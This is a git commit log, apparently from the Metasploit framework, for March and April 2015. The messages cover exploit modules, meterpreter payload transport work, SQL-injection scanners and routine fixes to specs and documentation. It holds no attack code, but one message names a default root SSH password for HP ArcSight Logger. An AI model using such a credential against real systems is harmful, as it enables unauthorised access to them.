William Vu 5f8d58f214 Use framework.db.active 2015-04-06 14:08:10 -05:00
William Vu bc4d6c2545 Land #5083, %W prompt format for current workspace 2015-04-06 13:48:52 -05:00
William Vu 7a2d3f5ebd Land #5082, firefox_proxy_prototype autopwn_info 2015-04-06 13:36:03 -05:00
William Vu efebe1cd0f Land #5084, @todb-r7's release fixes 2015-04-06 13:08:54 -05:00
William Vu e1af495d21 Add extra release fixes 2015-04-06 13:08:40 -05:00
Tod Beardsley b62011121b Minor word choice fix on Solarwinds exploit
Removing the second person pronoun usage.

[See #5050]
2015-04-06 12:40:22 -05:00
Tod Beardsley 5be5b6097c Minor grammar on #5030, Adobe Flash
[See #5030]
2015-04-06 12:36:25 -05:00
Tod Beardsley 1e6d895975 Description fixes on #4784, jboss exploit
Also, needed to run through msftidy.

[See #4784]
2015-04-06 12:34:49 -05:00
HD Moore 6811aebb1c Merge pull request #11 from OJ/hd-payload-uuids
Add trailing slash to stageless URI
2015-04-06 10:57:41 -05:00
HD Moore 98c95104da Use ||= for consistency 2015-04-06 10:55:14 -05:00
James Lee 566c330b83 Add workspace to prompt format options 2015-04-06 09:19:49 -05:00
OJ 9b502b904f Add trailing slash to stageless URI
Without the trailing slash, stageless payloads take a nasty turn.
2015-04-06 19:53:02 +10:00
root cd65e6f282 Add browser_autopwn info to firefox_proxy_prototype 2015-04-06 10:42:32 +05:00
OJ 4635bb83c3 Implement ssl verification toggling
Add support to meterpreter that allows for the querying and toggling of
SSL certificate verification on the fly.

In order to verify that the socket was SSL-enabled, some rejigging had
to be done of the type? method in the ssl socket class.
2015-04-06 14:40:59 +10:00
HD Moore 3c59519811 Add PayloadUUIDRaw for manual PUID specification 2015-04-05 23:25:52 -05:00
HD Moore 96f8a45b0d Additional yardoc comments for the UUID class 2015-04-05 23:16:24 -05:00
HD Moore 9145b6d717 Fix specs for uri_checksum 2015-04-05 22:56:59 -05:00
HD Moore 78c73cc2a3 Update cached sizes with the new uri defaults 2015-04-05 22:11:12 -05:00
HD Moore 8bcdddfd04 Fix yardoc comment, thanks @void-in! 2015-04-05 22:09:35 -05:00
jvazquez-r7 261ef51813 Add Rex::Java::Serialization exceptions 2015-04-05 18:43:03 -05:00
jvazquez-r7 2e52817b24 Add DecodeError 2015-04-05 18:16:19 -05:00
jvazquez-r7 85a70d401b Introduce Rex::Proto::Rmi::DecodeError 2015-04-05 18:15:04 -05:00
jvazquez-r7 3570fc586f Use constants for JMX serial version uids 2015-04-05 16:23:39 -05:00
jvazquez-r7 46a225cbec Don't store Exception in a variable 2015-04-05 15:59:52 -05:00
jvazquez-r7 72c36eb23e Use concatenation 2015-04-05 15:57:50 -05:00
Meatballs e4d38886de Land #5076, GPP Bitwise OR correction 2015-04-05 19:48:31 +01:00
Meatballs 8ce7671b7d Land #5077, NetAPI SV_TYPE Constant Fixes 2015-04-05 19:42:26 +01:00
Jon Cave b1a7e77fa9 Correct domain controller server type constants
The should be specified in hex as BAKCTRL is 16, not 10. CTRL should
be 8. See documentation for NetServerEnum.
2015-04-05 11:12:18 +01:00
Jon Cave 7aceb9218e Use bitwise OR to select both primary and backup DCs
SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL returns
SV_TYPE_DOMAIN_CTRL rather than ORing the bits together.
2015-04-05 11:05:42 +01:00
Meatballs ebf77cd02d Merge remote-tracking branch 'upstream/master' into msfvenom_psh_squash
Conflicts:
	lib/msf/util/exe.rb
2015-04-05 00:24:48 +01:00
HD Moore c9696d3f6c Merge in stageless/transport work, deconflict 2015-04-04 11:52:26 -07:00
Brent Cook 57395deb1d Land #5056, @wchen-r7 explicit recog require 2015-04-03 17:06:47 -05:00
Brent Cook 5589717323 Land #5058, @wvu-r7's default workspace saving 2015-04-03 16:53:21 -05:00
William Vu 6c2585cd79 Don't recreate saved workspace 2015-04-03 16:44:36 -05:00
Tod Beardsley 72b9647b31 Land #5057, CVE fixups 2015-04-03 16:36:11 -05:00
Brent Cook 0cad99a967 Land #3950, @agix's multiple encoder chaining 2015-04-03 16:12:55 -05:00
jvazquez-r7 b42e0298fe Land #5067, @wchen-r7's standalone jsobfu tool 2015-04-03 16:01:39 -05:00
William Vu 56dc7afea6 Land #5068, @todb-r7's module author cleanup 2015-04-03 16:00:36 -05:00
jvazquez-r7 cb08e5b8da Fix specs 2015-04-03 16:00:28 -05:00
jvazquez-r7 79b2a23dff Land #5015, @espreto file traversal scanner for RIPS 2015-04-03 15:35:58 -05:00
jvazquez-r7 ce6e5e12d8 Make depth an option 2015-04-03 15:33:27 -05:00
sinn3r c33a4a7fd9 rspec for jsobfu 2015-04-03 15:27:35 -05:00
jvazquez-r7 70fad73092 Add metadata 2015-04-03 15:27:28 -05:00
Brent Cook e5443e74ed Merge branch 'upstream-master' into land-3950-chain-encoders 2015-04-03 15:18:06 -05:00
jvazquez-r7 830cd269b4 Solve conflicts 2015-04-03 14:58:35 -05:00
jvazquez-r7 e3bbb7c297 Solve conflicts 2015-04-03 14:57:49 -05:00
jvazquez-r7 e729185804 Land #5051, @nullbind's new options for mssql_enum_domain_accounts_sqli 2015-04-03 14:44:20 -05:00
jvazquez-r7 fe9fbfd157 Make calculations easier 2015-04-03 14:43:01 -05:00
jvazquez-r7 75c6341dd8 Fix raise 2015-04-03 14:18:15 -05:00
jvazquez-r7 6c36a82f78 Land #5059, @void-in's documentation clean up 2015-04-03 14:16:34 -05:00
jvazquez-r7 fe5ddc01ad Fix return documentation 2015-04-03 14:16:06 -05:00
jvazquez-r7 b0042f1cf2 Undo java serialization and RMI fixes 2015-04-03 14:07:49 -05:00
jvazquez-r7 11d372b015 Fix YARD documentation
* Thanks @void-in
* See #5059
2015-04-03 14:01:31 -05:00
jvazquez-r7 828301a6cc Land #5050, @wchen-r7's exploit for Solarwinds Firewall Security Manager
* CVE-2015-2284
2015-04-03 13:45:30 -05:00
jvazquez-r7 7c9b19c6f8 Do minor cleanup 2015-04-03 11:53:50 -05:00
jvazquez-r7 3e1be82ded Land #5061, @wchen-r7's update for the unix passwords list 2015-04-03 11:44:01 -05:00
sinn3r a333632a69 Add standalone tool for jsobfu 2015-04-03 11:30:23 -05:00
root 452ebcf9ad travis 2015-04-03 16:29:35 +05:00
root be829e77ba cravis error solve 2015-04-03 16:25:18 +05:00
root 4bd40fed7f yard doc and comment corrections for auxiliary 2015-04-03 16:12:23 +05:00
OJ 3b3e969a1c Land #5023 : support for IE11 in fingerprint_user_agent 2015-04-03 21:12:00 +10:00
OJ d02a4cc197 Land #5066 : EncodedPayload#generate specs 2015-04-03 20:59:00 +10:00
OJ aaeaa0503d Land #12 : New meterpreter binaries 2015-04-03 20:54:34 +10:00
Brent Cook 0d78834083 update meterpreter binaries 2015-04-03 05:47:18 -05:00
root 0dd987d873 Updated as per jlee-r7 feedback 2015-04-03 10:17:54 +05:00
James Lee a1b4cf375f Add some minimal specs for #generate 2015-04-03 00:11:41 -05:00
OJ c4b7426ba8 Merge branch 'upstream/master' into dynamic-transport 2015-04-03 13:57:24 +10:00
Brent Cook 16cb334325 Land #5065: OJ fix missed merges for uri_checksum and others 2015-04-02 22:53:29 -05:00
OJ fd043d4842 Fix up build and missing uri_checksum stuff
Somehow this made it into a merge when it shouldn't have. This fix moves
the URI checksum module to where it needs to be and updates all the
references where required. This will result in a class with the dynamic
transport branch, but I can fix that after.
2015-04-03 13:42:25 +10:00
scriptjunkie 0f7c644fff Land #4784, JBoss Seam 2 upload exec exploit 2015-04-02 22:32:35 -05:00
OJ fc44f5b1f4 Merge branch 'upstrea/master' into dynamic-transport
Small merge required with the https payload proxy changes.
2015-04-03 10:14:48 +10:00
HD Moore 4f818dcc14 Lands #5032, stageless meterpreter 64-bit 2015-04-02 18:55:36 -05:00
OJ 5b5dc3ef59 Merge branch 'upstream/master' into stageless-x64
Merge required adjustment of the proxy datastore names that were changed.
2015-04-03 08:53:09 +10:00
Tod Beardsley 3ff91d74ca More cleanup, mostly abysssec
[See #5012]
2015-04-02 16:16:38 -05:00
Tod Beardsley 11057e5b3b Fix up the last couple from Tenable, missed last
[See #5012]
2015-04-02 15:27:46 -05:00
Tod Beardsley 4bbec88882 Various other one-off nonhuman author credits
[See #5012]
2015-04-02 15:25:47 -05:00
Tod Beardsley 6d5bcb93a8 Normalize the SecurityXploded Team credits
[See #5012]
2015-04-02 15:15:37 -05:00
Tod Beardsley 6532fad579 Remove credits to Alligator Security Team
All but one of these modules credits both a team name and individual
team members. We should just be crediting team members. The domain
persists in all the other credits.

The one that didn't was credited to dflah_ specifically, so merely
changed the author name.

Longer description, if needed, wrapped at 72 characters.

[See #5012]
2015-04-02 15:12:22 -05:00
Samuel Huckins fde7cdd4a7 Land 5062, corrects issue in loginscanner results 2015-04-02 15:07:17 -05:00
David Maloney 1684bfec9e add missing data to loginscanner results
the chef web ui and symantec web gateway
loginscanners do not save the target(host/port/proto) info
in the Result object. This can cause modules to break as they
expected the Result to contain that information

MSP-12499
2015-04-02 13:53:45 -05:00
sinn3r ec2f9e3c05 Add SSH root password 'arcsight' for HP ArcSight Logger
The default password for root is 'arcsight'
2015-04-02 11:04:07 -05:00
OJ d2d68d76a2 Update transport switching to a full blown command
Transport switching should now support all of the bits and pieces
required to do full switching with all configurable transport options
2015-04-02 23:13:59 +10:00
root 27353d62ca Discard local changes to non relevant files 2015-04-02 16:21:43 +05:00
root 4ba761986f Correct YARD doc comments 2015-04-02 16:14:25 +05:00
OJ 1b577bdd2f Rename spec file based on new location 2015-04-02 12:50:29 +10:00
OJ 81e1643010 Finally fix specs properly 2015-04-02 11:33:31 +10:00
OJ 47fa97816d Code fixes as per suggestions, fix build
* Use of `ERROR_FAILURE_WINDOWS` in python meterpreter.
* Moving of constants/logic to client_core instead of
command_dispatcher.
* Fix spec include.
2015-04-02 09:05:38 +10:00
William Vu 8140b0ee6c Update Qualys importers for the new CVE format 2015-04-01 17:50:18 -05:00
William Vu c55e200416 Add workspace saving to msfconsole's save command 2015-04-01 17:31:43 -05:00
sinn3r e972357aeb Fix #4471, uninitialized constant Msf::Exploit::Remote::SMB::Recog
Fix #4471

Seems to be specific to Kali
2015-04-01 16:35:23 -05:00
sinn3r e1adcfee1e No case sensitive 2015-04-01 16:14:54 -05:00
Matt Buck cecc8aba2c Land #5052, fix bug with session creation
Fix the bug that attempted to use a session before it was added to the
database.

MSP-12493 #land
2015-04-01 14:38:42 -05:00
HD Moore db5293eeee Lands #5054, adds a module for the Ceragon mateidu SSH issue 2015-04-01 14:32:56 -05:00
Tod Beardsley b17727d244 Switching to privileged => false 2015-04-01 14:35:45 -05:00
sinn3r a592f645f0 Land #5039, Webdorado gallery wd 1.2.5 unauthenticated SQLi scanner 2015-04-01 14:34:58 -05:00
Tod Beardsley 0825534d2c Fix reference 2015-04-01 14:16:45 -05:00
Tod Beardsley 8ec71e9daf Add a module for R7-2015-05 2015-04-01 14:05:41 -05:00
James Lee 8c1a597a25 Make a Session record before using it
How about that.
2015-04-01 13:12:28 -05:00
jvazquez-r7 02a5730d92 Use calculate_interface_hash 2015-04-01 12:09:42 -05:00
sinn3r 0b14a18ad2 This is final 2015-04-01 12:00:49 -05:00
Brent Cook f4977bf606 Land #5006 @jlee-r7 adds meterpreter specs 2015-04-01 11:05:47 -05:00
jvazquez-r7 f954ff78c0 Fix typo 2015-04-01 10:51:54 -05:00
nullbind 91aeef0a8a added startrid and endrid 2015-04-01 10:09:13 -05:00
OJ 46dca23ffe Land #5047: Metasploit is magic (Banner Adjustments) 2015-04-01 21:51:10 +10:00
Tod Beardsley 293cbfc8f3 Slightly wanged one of the text bubbles 2015-04-01 06:46:50 -05:00
OJ 01bdf54487 Merge branch 'upstream/master' into dynamic-transport 2015-04-01 18:53:20 +10:00
OJ 02383d4e90 Add machine_id functionality to python meterpreter 2015-04-01 17:50:50 +10:00
sinn3r 0ee858cd65 Some useful messages 2015-04-01 01:41:31 -05:00
sinn3r 8ad07cdc0f This should be on the right track 2015-04-01 01:27:50 -05:00
OJ 79ec2e0586 Add machine ID support to the command list 2015-04-01 14:29:04 +10:00
William Vu df0398f958 Update msftidy for the new CVE format
https://cve.mitre.org/cve/identifiers/syntaxchange.html
2015-03-31 22:15:33 -05:00
OJ 24171a1a08 Land #5045 : Convert stageless proxy to new format 2015-04-01 12:06:57 +10:00
HD Moore be575bb108 Merge pull request #10 from OJ/hd-stageless-proxy
Fix up the proxy patching
2015-03-31 20:54:50 -05:00
OJ 1a313ad943 Fix up the proxy patching
Patching of the proxy details was failing, so this commit fixes that.
Also, added code that makes the proxy type check case-insensitive.
2015-04-01 11:48:22 +10:00
sinn3r 6795c90eac Some progress 2015-03-31 20:46:34 -05:00
James Lee e5cd88a51e Land #5044, missing HKLM in regkey 2015-03-31 17:50:03 -05:00
Samuel Huckins d5030f7e53 Land 5036, vuln push to NX updates into master 2015-03-31 17:32:02 -05:00
Samuel Huckins 835a66cc95 Land 5042, fix issues on reporting exploit success 2015-03-31 17:14:01 -05:00
James Lee 2fc22132e0 Link the new constant as default in documentation 2015-03-31 16:48:02 -05:00
sinn3r 97305629cb Add Solarwinds FSM module
starter
2015-03-31 16:21:52 -05:00
James Lee 44dd45e48d Use a const instead of hardcoding "tcp" everywhere 2015-03-31 16:15:04 -05:00
HD Moore 34ff94e0da Fix the proxy user/pass options 2015-03-31 15:49:43 -05:00
HD Moore df15892958 Convert stageless proxy settings to the new format 2015-03-31 15:46:15 -05:00
HD Moore a39ba05383 Functional Payload UUID embedding via PayloadUUIDSeed 2015-03-31 15:44:18 -05:00
James Lee 76bfaa6ce9 Fix dumb inverted logic. Thanks, rspec! 2015-03-31 14:28:07 -05:00
David Maloney 63da27ece0 add missing HKLM root to regkey
the chevkm windows psot module had HKLM
missing from the front of one of it's reg key
paths. This was missed in Rails 3 due to the
error being swallowed unexpectedly. in rails 4
we actually see this cause a stack trace

MSP-12384
2015-03-31 14:17:18 -05:00
James Lee 8b8ec5990a Ask the database how long the column should be
Instead of hardcoding a number
2015-03-31 14:12:22 -05:00
Tod Beardsley 34d637c7b8 Needs more ponies 2015-03-31 13:59:37 -05:00
Brent Cook c666d0494f Land #5043 @todb-r7's release fixups 2015-03-31 13:41:24 -05:00
James Lee a8ef465b46 Use the variables we worked so hard to create 2015-03-31 13:34:27 -05:00
James Lee 3695d4b0c7 Don't modify argument in place 2015-03-31 13:32:28 -05:00
James Lee adcf88761d Save ref names for easier debugging 2015-03-31 13:07:09 -05:00
HD Moore a9cfd7efef Merging master back into the UUID branch 2015-03-31 12:02:03 -05:00
James Lee 176cdcb836 Use sym-to-proc instead of reimplementing it 2015-03-31 11:21:53 -05:00
Tod Beardsley d1318d1b48 Fixups for release 2015-03-31 11:02:12 -05:00
James Lee a1a7faa77a Don't modify argument in place 2015-03-31 10:41:24 -05:00
James Lee 7e559f7b13 Don't modify argument in place 2015-03-31 10:16:14 -05:00
James Lee 971120ce98 Use create! instead of new ... save! 2015-03-31 10:15:23 -05:00
OJ 633b46874d Merge branch 'upstream/master' 2015-03-31 14:53:48 +10:00
OJ 86d8aab854 Land #5040: Remove wininet hack for http/s meterp 2015-03-31 14:50:13 +10:00
Brent Cook d89cd118e0 remove wininet workaround in meterpreter http/s
We had a workaround to close connections on very old wininet implementations
that would not do it themselves. With the new WinHttp API-using meterpreters
and stagers, we no longer should use this workaround. It can actually be
actively bad and prematurely close the connection.

This needs testing around different payloads, and they should be on real
networks, ideally where TCP really has to work to get data transfered.
2015-03-30 23:38:32 -05:00
James Lee dfaf1b3a8f Stub monitor_sock so we don't leak threads 2015-03-30 22:03:39 -05:00
James Lee 47d85af811 Really truly update schema for reals
Srsly
2015-03-30 18:35:17 -05:00
Brandon Perry e73286cfa5 update stale references 2015-03-30 17:17:48 -05:00
OJ 97d788676c Set dynamic_size true for x64 stageless 2015-03-31 07:37:46 +10:00
OJ 253e5d7dff Include correct module, remove specified encoder type 2015-03-31 07:23:51 +10:00
James Lee 790a08a848 It's pronounced "exploit", not "assoc_exploit" 2015-03-30 16:21:17 -05:00
Tod Beardsley 3f0f659eaf Land #5019, add rescues to some LoginScanners 2015-03-30 16:06:51 -05:00
James Lee bf2d37c511 Axe superfluous line in Gemfile
Covered by the gemspec
2015-03-30 14:57:12 -05:00
James Lee d3dd7ecfc5 Update to latest schema 2015-03-30 14:10:06 -05:00
James Lee 2394d4bae8 Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success
Conflicts:
	Gemfile
	Gemfile.lock
	spec/support/shared/examples/msf/db_manager/exploit_attempt.rb
2015-03-30 14:08:54 -05:00
James Lee 2ab4584079 Merge remote-tracking branch 'upstream/master' into staging/single-vuln-push 2015-03-30 13:50:52 -05:00
James Lee 46d4d6b588 Update to latest Mdm 2015-03-30 13:48:21 -05:00
James Lee 1b0e3f13c6 Remove unnecessary extra assignment 2015-03-30 13:14:36 -05:00
James Lee 310779d7bf Death to hashrockets 2015-03-30 13:13:58 -05:00
James Lee 6386289d80 Remove bogus spec
No longer necessary to check that we're instantiating an Msf::Module
because we get the same information by reusing an existing
Mdm::Module::Detail
2015-03-30 13:10:36 -05:00
James Lee e65f4e92ea Separate the two ways to make Mdm::Sessions
Failing spec due to reuse of Mdm::Module::Detail instead of also
instantiating an Msf::Module
2015-03-30 13:05:20 -05:00
Tod Beardsley b770f8dca4 Land #5026, #5027, #5028: Doc grammar
This merge covers three PRs. It /should/ autoresolve #5026 and #5028, but
I will have to manually close #5027 with this comment.
2015-03-30 12:55:19 -05:00
Samuel Huckins 18e3a78285 Using latest released MDM 2015-03-30 12:51:12 -05:00
sinn3r 613f4777ce Land #5024, add joomla_ecommercewd_sqli_scanner.rb 2015-03-30 12:45:09 -05:00
James Lee 374db22d5b Re-enable host lookup for _failure
Again needed when called from exploit_driver because nothing is reported
yet at that point.

Also adds some yardoc
2015-03-30 12:30:52 -05:00
Tod Beardsley f663f39e1f Bring in #5026 for minor edits 2015-03-30 12:11:29 -05:00
Dillon Korman be7ffc9a0d Bring in #5027 for only a couple edits
Switching from " to ' is usually more trouble than it's worth, even if
it's more technically correct. The original PR had a great example of
that kind of error, where you accidentally screw up an interior
apostraphe.

[See #5027]
2015-03-30 12:08:52 -05:00
Tod Beardsley 7697ff1295 Revert a couple of the suggested edits
In the main, though, the edits are good. Just disagree with a couple.

[See #5028]
2015-03-30 12:04:15 -05:00
Tod Beardsley ffc9659024 Bring in #5028 for more edits 2015-03-30 11:59:18 -05:00
sinn3r 2181c572b8 Land #5021, nessus.rb "imported" status 2015-03-30 11:33:55 -05:00
sinn3r 8ea1ffc6ff Land #5030, CVE-2015-0313 Flash Exploit 2015-03-30 11:31:53 -05:00
David Maloney 103373a7eb add back accidentally remvoed error
accidentally dropped Errno::ETIMEDOUT from the exception
handling

MSP-12389
2015-03-30 11:19:28 -05:00
jvazquez-r7 ee404713f1 Land #5014, @wchen-r7's module for MS14-052
* As auxiliary module to gather info about existent local files
2015-03-30 11:02:56 -05:00
jvazquez-r7 8ff54ff98d Add msb reference 2015-03-30 10:58:08 -05:00
sinn3r 9af1e76bf7 Obfuscate js 2015-03-30 10:52:01 -05:00
sinn3r c7fa01c5ae Rename file 2015-03-30 10:39:33 -05:00
OJ 6610504b10 Update payload spec 2015-03-30 21:07:30 +10:00
OJ c28cc66398 Add x64 bind_tcp and reverse_ipv6_tcp
Also fix up a couple of modules to use Metasploit4 instead of
Metasploit3.
2015-03-30 18:59:30 +10:00
James Lee f0eeef3cbb Move copy-pasta into a new method 2015-03-30 01:43:56 -05:00
James Lee 49902a6395 We actually do need the port/proto for failure
Because it is called from lib/msf/core/exploit.rb Exploit#report_failure
with datstore values

Partial revert of e3605aa252
2015-03-30 01:01:34 -05:00
James Lee 7b1ac29788 Fix subject 2015-03-30 00:53:31 -05:00
James Lee 415510ca6a Fix stupid typo that made vuln_id an Array 2015-03-30 00:52:02 -05:00
James Lee 283e50fd42 Check the case of having no vuln 2015-03-30 00:09:49 -05:00
Joshua Smith 3d2f9b282d Land #5031, fix ms10_104_sharepoint description 2015-03-30 00:00:21 -05:00
Samuel Huckins 13fc498523 Land #4948, fixes several AppScan import issues 2015-03-29 23:33:01 -05:00
OJ 26792975eb Refactor of code to reduce duplication
Add mixin for the stageless http preparation
2015-03-30 13:18:56 +10:00
OJ f8851551c5 Add initial x64 stageless meterrpeter module 2015-03-30 11:23:51 +10:00
OJ fdcf1297a6 Tweaks to the stageless materpreter x64 payload 2015-03-30 11:09:49 +10:00
OJ 0fa812e5ba Merge upstrea/master 2015-03-30 10:17:17 +10:00
OJ ae86f23b4d Land #5033: Fix logic in EncodedPayload 2015-03-30 10:16:35 +10:00
HD Moore e65ac57d1b Fix a logic check in EncodedPayload, which unbreaks stageless testing 2015-03-29 19:08:35 -05:00
OJ ce8f6d72e1 More work on x64 stageless
Testing with HD's new changes that allow for generation of larger x64
payloads
2015-03-30 09:51:04 +10:00
h00die 28b9e89963 removed duplicate "uses" from description 2015-03-29 19:40:31 -04:00
OJ 17dc2b184d Merging upstream/master 2015-03-30 09:12:20 +10:00
OJ d3d920b810 Land #5029 : Support large payloads for msfvenom EXE 2015-03-30 08:54:00 +10:00
OJ c0f496197c Rejig code to support http payloads
* Move the uri checksum code to a spot that can be shared with rex.
* Adjust modules to make use of this new location.
* Fix up the tranpsort switcher to add the URI for those payloads.
2015-03-30 07:11:25 +10:00
jvazquez-r7 11c6f3fdca Do reliable resolution of kernel32 2015-03-29 15:52:13 -05:00
HD Moore a1c755161a Add spec coverage for appender, fix injector 2015-03-29 11:52:06 -05:00
Dillon Korman 6c707c8ad8 Update README.md 2015-03-29 01:08:06 -10:00
HD Moore 607cc8fef6 Remove a stale comment 2015-03-29 01:54:07 -05:00
HD Moore 0a4a72f49d Support templates with small text sections (win32) 2015-03-29 01:51:58 -05:00
HD Moore b9b40edde9 Major speedup, especially for large shellcode (stageless) 2015-03-29 00:44:06 -05:00
Meatballs fd45d92cb7 Add reference for mssql_local_hashdump 2015-03-29 02:14:20 +01:00
Meatballs c430e5fab1 @m7x forgot to put a reference in 2015-03-29 02:13:31 +01:00
Dillon Korman 0d110ad896 Update CONTRIBUTING.md
Grammar and style.
2015-03-28 15:11:05 -10:00
Meatballs 8b622fb7ee Land #4822, grab MSSQL hashdump a la mssql_local_auth_bypass 2015-03-29 00:54:31 +00:00
Meatballs 9eca3a0ab5 Impersonation spec 2015-03-29 00:52:27 +00:00
Dillon Korman 6c36c8cec7 Update README.md
Grammar and style.
2015-03-28 14:51:15 -10:00
Meatballs 10029eedb9 Add command specs 2015-03-29 00:05:44 +00:00
Meatballs f7e3abf760 sqlcmd specs and fixes 2015-03-28 23:23:00 +00:00
Meatballs 3b651aecdc Specs for sqlserver check and fixes 2015-03-28 22:59:00 +00:00
Brandon Perry de2bf0181c add first pass at gallerywd sqli scanner 2015-03-28 16:15:51 -05:00
Brandon Perry 9f0483248c add TARGETURI datastore option 2015-03-28 15:46:41 -05:00
Meatballs da49709845 Add yarddoc 2015-03-28 20:31:36 +00:00
Meatballs 8e22255a40 Small tidyup/rubocop
Signed-off-by: Meatballs <eat_meatballs@hotmail.co.uk>
2015-03-28 20:31:36 +00:00
Meatballs 9529eed41d More specific matching 2015-03-28 20:31:35 +00:00
Meatballs a30d8f7040 Add requires 2015-03-28 20:31:35 +00:00
Meatballs 2ed9489f38 Delete load line 2015-03-28 20:31:35 +00:00
Meatballs a1d74c27c6 Check for only running services 2015-03-28 20:31:35 +00:00
Meatballs 99f79e8533 Use incognito token stealing rather than process migration if we have
the privileges required for successful impersonation.
2015-03-28 20:31:35 +00:00
Meatballs 9c2219124c Remove some comments 2015-03-28 20:31:35 +00:00
Meatballs f83f4ae764 Move hashdump to gather 2015-03-28 20:31:35 +00:00
Meatballs e2af15a0df Refactor MSSQL Post 2015-03-28 20:31:35 +00:00
root 1558190a9d Add module mssql_local_hashdump 2015-03-28 20:31:35 +00:00
Brandon Perry 6ede476423 Update joomla_ecommercewd_sqli_scanner.rb 2015-03-28 08:38:12 -05:00
William Vu ef8c0aac69 Land #5020, spelling fixes for some modules 2015-03-28 00:36:04 -05:00
Brandon Perry 0dbd8544b4 Update joomla_ecommercewd_sqli_scanner.rb 2015-03-27 21:20:59 -05:00
Brandon Perry 31be47d5bc Create joomla_ecommercewd_sqli_scanner.rb 2015-03-27 20:25:33 -05:00
jvazquez-r7 f84a46df63 Add module for CVE-2015-0313 2015-03-27 18:51:13 -05:00
sekritskwurl d1c6db5e4e Update nessus.rb
updated as per wchen-r7's comment's, Thank you wchen-r7!
2015-03-27 19:44:11 -04:00
sinn3r c4def25e82 Resolve #4986, add support for IE11 for fingerprint_user_agent
Resolve #4986
2015-03-27 17:51:14 -05:00
sinn3r 9cfafdd8b8 Land #4649, improve post/windows/manage/run_as and as an exploit 2015-03-27 17:31:30 -05:00
Trevor Rosen 2815462375 Update Mdm to staging hash 2015-03-27 15:16:33 -05:00
Trevor Rosen 27e05d7d73 Update Gemfile 2015-03-27 15:10:37 -05:00
C-P 4f4bf9debb paylod vs payload 2015-03-27 11:55:15 -07:00
C-P 0a8fe781d1 paylod vs payload 2015-03-27 11:54:14 -07:00
C-P 5ba614a325 payloda vs payload 2015-03-27 11:53:20 -07:00
C-P 2d81460583 Explot vs Exploit 2015-03-27 11:37:11 -07:00
sekritskwurl bb929d416d Update nessus.rb
Add support for imported nessus scan results to be imported with nessus_db_import.
2015-03-27 14:32:01 -04:00
C-P f129347b51 Filed vs Failed fix 2015-03-27 11:28:50 -07:00
C-P 48484c1f09 Filed vs Failed fix 2015-03-27 11:27:36 -07:00
David Maloney 441feec360 fix missing exception handling
a few of our http login scanners needed to
handle a couple of other exception classes
for when network communication errors occur

MSP-12389
2015-03-27 12:31:14 -05:00
James Lee e3605aa252 We always pass a Service, get rid of port/proto 2015-03-27 11:54:03 -05:00
James Lee 25d0b8baff Redundant check 2015-03-27 11:35:35 -05:00
James Lee 3b8d70b567 host is always an Mdm::Host, don't look it up again 2015-03-27 11:34:32 -05:00
James Lee 466ef4349e Second verse, same as the first 2015-03-27 09:59:10 -05:00
Roberto Soares 3e104fd8e6 Add Directory Traversal for RIPS Scanner 2015-03-27 05:08:43 -03:00
sinn3r f996c5a888 Update description 2015-03-27 02:31:36 -05:00
sinn3r 67dc46791d Limit the module to IE 8 and IE9 2015-03-27 02:30:04 -05:00
sinn3r f88d9651b6 I don't think it's worth putting the js in ie_addons.js 2015-03-27 02:26:50 -05:00
sinn3r ad7d389328 Leave a comment 2015-03-26 23:37:11 -05:00
sinn3r bd2763292a Properly credit Soroush Dalili 2015-03-26 23:36:16 -05:00
sinn3r 560f31c34d Minor changes 2015-03-26 23:29:44 -05:00
sinn3r 68624dd56e Final for ie_files_disclosure.rb 2015-03-26 22:49:22 -05:00
sinn3r b0b17775c2 First working version 2015-03-26 21:53:26 -05:00
James Lee bf8146c8b5 Axe redundant check 2015-03-26 21:19:19 -05:00
James Lee 88a8186a11 Pull up redundant hash literal 2015-03-26 19:33:53 -05:00
Brent Cook e0568e95c2 Land #4978 @zerosteiner adds reverse https for python meterpreter 2015-03-26 19:16:46 -05:00
Brent Cook 5ac1ee1d73 fix http/s handler reference counting for pymet
add a persistent session counter to avoid stopping listening when pymet stages over http/s
2015-03-26 18:26:56 -05:00
sinn3r 955c0557e0 Land #4988, Relative URL for ms14_064_ole_code_execution 2015-03-26 13:36:37 -05:00
James Lee a9e4961563 New hash syntax 2015-03-26 10:05:08 -05:00
James Lee a3ae0daf5a Whitespace 2015-03-26 10:02:08 -05:00
James Lee dd5c69ff34 Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success 2015-03-26 09:54:29 -05:00
m-1-k-3 d81a246660 target_uri 2015-03-26 12:16:20 +01:00
m-1-k-3 b7f469b747 feedback 2015-03-26 07:39:36 +01:00
Spencer McIntyre 10e8cefd6d Pymet dont validate ssl certs for 2.7.9/3.4.3 2015-03-25 19:49:42 -04:00
sinn3r 68cb766681 Land #5007, Ruby 1.9+ syntax 2015-03-25 16:11:53 -05:00
sinn3r 8f03cadb92 Forgot to remove print_debug 2015-03-25 16:08:47 -05:00
William Vu 632879ceb6 Land #5001, wp_easycart_privilege_escalation CVE 2015-03-25 13:54:44 -05:00
jvazquez-r7 d84c48cb7d Use newer hash syntax 2015-03-25 13:39:34 -05:00
jvazquez-r7 72a0909e9b Land #4992, @wchen-r7's support for multiple ActiveX controls on BrowserExploitServerMerge 2015-03-25 13:30:36 -05:00
David Maloney 6546d30505 Land #5004, Http Login Refactor
Land Wei's PR to refactor the http login scanner
moving the send request code into it's own method
2015-03-25 12:59:03 -05:00
James Lee 95d70e7211 Remove respond_to check for protected method
Fails on Ruby 2.x, and doesn't really gain us anything anyway.
2015-03-25 12:50:46 -05:00
James Lee 8f0c434faa Add specs for the new method 2015-03-25 12:34:10 -05:00
jvazquez-r7 f80978d9e9 Calculate interface and method hashes dinamically 2015-03-25 11:46:54 -05:00
jvazquez-r7 0540e25db2 Calculate the java/rmi/registry/RegistryImpl_Stub hash dinamically 2015-03-25 11:29:07 -05:00
sinn3r 6e3e696262 Use symantec_web_gateway as an example of using send_request 2015-03-25 10:55:46 -05:00
sinn3r 60f1d9c961 More yard doc 2015-03-25 10:50:11 -05:00
sinn3r 9b9e157e84 More yard doc 2015-03-25 02:26:06 -05:00
sinn3r ded500a9ae Use send_request 2015-03-25 02:13:40 -05:00
sinn3r 6984e5234e Fix a typo 2015-03-25 02:01:25 -05:00
sinn3r 8a8d6fb5ab Some more changes 2015-03-25 02:00:23 -05:00
sinn3r 855cadc6b1 Rescue more exceptions
The attempt_login method is rescuing these exceptions, so maybe
I should do the same.
2015-03-25 01:48:37 -05:00
